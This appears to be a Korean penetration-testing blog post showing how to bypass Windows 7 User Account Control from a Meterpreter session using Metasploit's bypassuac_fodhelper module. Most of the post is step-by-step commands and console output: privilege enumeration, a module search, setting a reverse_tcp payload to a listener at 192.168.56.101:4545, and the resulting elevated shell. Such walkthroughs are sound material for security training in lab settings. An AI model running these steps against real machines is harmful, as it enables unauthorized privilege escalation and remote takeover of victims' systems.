Meterpreter를 이용한 Windows7 UAC 우회하기

Windows system을 침투테스트하다 보면 UAC라는 게정 컨트롤을 만나게 됩니다. 아래에서도 설명드리겠지만 이는 Windows 의 보안 정책 중 하나이며 우리는 이것을 우회해야 더 깊은 내용으로 접근하고 실행할 수 있습니다. 오늘은 Metasploit을 통해 UAC를 우회하는 방법에 대해 이야기할까 합니다.

What is UAC?

UAC(User Account Control)은 Windows에서의 사용자 권한에 대한 정책을 의미합니다. Windows에서 프로그램 실행 시 가끔 권한으로 인해 아래와 같은 팝업이 뜨는걸 보신적이 있나요?

네, 바로 이 친구가 UAC입니다. Windows의 보안정책 중 하나로 대부분의 Windows는 기본 정책으로 UAC가 사용되어 있습니다. 이를 통해 계정 권한에 대해 체크하고 보호할 수 있지만 공격자 입장에서는 넘어야할 산입니다. Meterpreter를 통해 Windows system 접근 후 시스템의 정보를 확인해보면 때에 따라 아래와 같이 나타납니다.

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > 

win_privs 모듈을 통해 살펴보면 UAC가 Enable 되어있는 것을 확인할 수 있습니다. 이로인해 우리는 불편한점이 생겼던거죠.

meterpreter > 
meterpreter > run post/windows/gather/win_privs

Current User
============

 Is Admin  Is System  Is In Local Admin Group  UAC Enabled  Foreground ID  UID
 --------  ---------  -----------------------  -----------  -------------  ---
 False     False      True                     True         1              "HAHWUL\\Test-Virtualbox"

Windows Privileges
==================

 Name
 ----
 SeChangeNotifyPrivilege

어떤 행위를 하기 위한 권한이 모자라다면 풀어야겠지요.

Bypass UAC using Metasploit

Exploit-DB에서 UAC에 대해 검색해보면 여러가지 Exploit 코드와 문서를 만날 수 있습니다. Windows의 대표적인 취약점 형태 중 하나이고 많은 분석가들이 찾아내고 제보하여 정보가 공유됩니다.

Metasploit에도 UAC에 대한 많은 모듈들이 있습니다. Meterpreter shell에서 Metasploit으로 진입 후 UAC에 대해 찾아봅시다.

meterpreter  > background
HAHWUL exploit(~) > search uac

Matching Modules
================

   Name                                       Disclosure Date  Rank       Description
   ----                                       ---------------  ----       -----------
   exploit/windows/local/ask                  2012-01-03       excellent  Windows Escalate UAC Execute RunAs
   exploit/windows/local/bypassuac            2010-12-31       excellent  Windows Escalate UAC Protection Bypass
   exploit/windows/local/bypassuac_eventvwr   2016-08-15       excellent  Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
   exploit/windows/local/bypassuac_fodhelper  2017-05-12       excellent  Windows UAC Protection Bypass (Via FodHelper Registry Key)
   exploit/windows/local/bypassuac_injection  2010-12-31       excellent  Windows Escalate UAC Protection Bypass (In Memory Injection)
   exploit/windows/local/bypassuac_vbs        2015-08-22       excellent  Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
   post/windows/gather/win_privs                               normal     Windows Gather Privileges Enumeration
   post/windows/gather/win_privs                               normal     Windows Gather Privileges Enumeration
   post/windows/manage/sticky_keys                             normal     Sticky Keys Persistance Module

여러가지 모듈들이 확인되네요. 각각 모듈은 Windows UAC 관련 Exploit들이고 Metasploit에 있는 모듈뿐만 아니라 직접 Exploit code를 통해 UAC를 해제하여 Shell을 넘겨주는 방법도 있습니다. 이번 포스팅에선 Metasploit의 모듈을 사용하도록 하죠. 내키는걸로 하나 골라줍니다.

HAHWUL exploit(~) > use exploit/windows/local/bypassuac_fodhelper
HAHWUL exploit(bypassuac_fodhelper) > show options

Module options (exploit/windows/local/bypassuac_fodhelper):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Exploit target:

   Id  Name
   --  ----
   0   Windows x86

전 가장 최근 발표된 fodhelper 관련 UAC Exploit 으로 진행하였습니다. 옵션은 별다른거 없습니다. 그냥 Target이 32bit용인거고, SESSION 정보와 Payload를 넘겨주면 exploit이 가능합니다.

HAHWUL exploit(bypassuac_fodhelper) > set SESSION 1
HAHWUL exploit(bypassuac_fodhelper) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
HAHWUL exploit(bypassuac_fodhelper) > show options

Module options (exploit/windows/local/bypassuac_fodhelper):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST      192.168.56.101     yes       The listen address
   LPORT     4545             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows x86

세팅하고..

HAHWUL exploit(bypassuac_fodhelper) > exploit

[*] Started reverse TCP handler on  192.168.56.101:4545
...snip...
meterpreter > 

Exploit 하면 Payload대로 Meterpreter shell이 떨어집니다. 이 shell은 UAC가 해제된 Metasploit 이죠.

meterpreter > run post/windows/gather/win_privs

Current User
============

 Is Admin  Is System  Is In Local Admin Group  UAC Enabled  Foreground ID  UID
 --------  ---------  -----------------------  -----------  -------------  ---
 False     False      True                     False        1              "HAHWUL\\Test-Virtualbox"

Windows Privileges
==================

 Name
 ----
 SeChangeNotifyPrivilege
 ...snip...

Conclusion

Exploit을 어떻게 사용하는지 보단 어떤 판단을 내리고 어떻게 풀어나갈 것인지가 중요한 것 같습니다. UAC를 만났을 때 풀 수 있는 방법은 많습니다. 기호와 상황에 맞게 적절한 수를 찾아서 풀어나가신다면 조금 더 완벽하고 안전한 침투가 되지 않을까 싶네요.

Refernece

  • https://support.microsoft.com/ko-kr/help/976959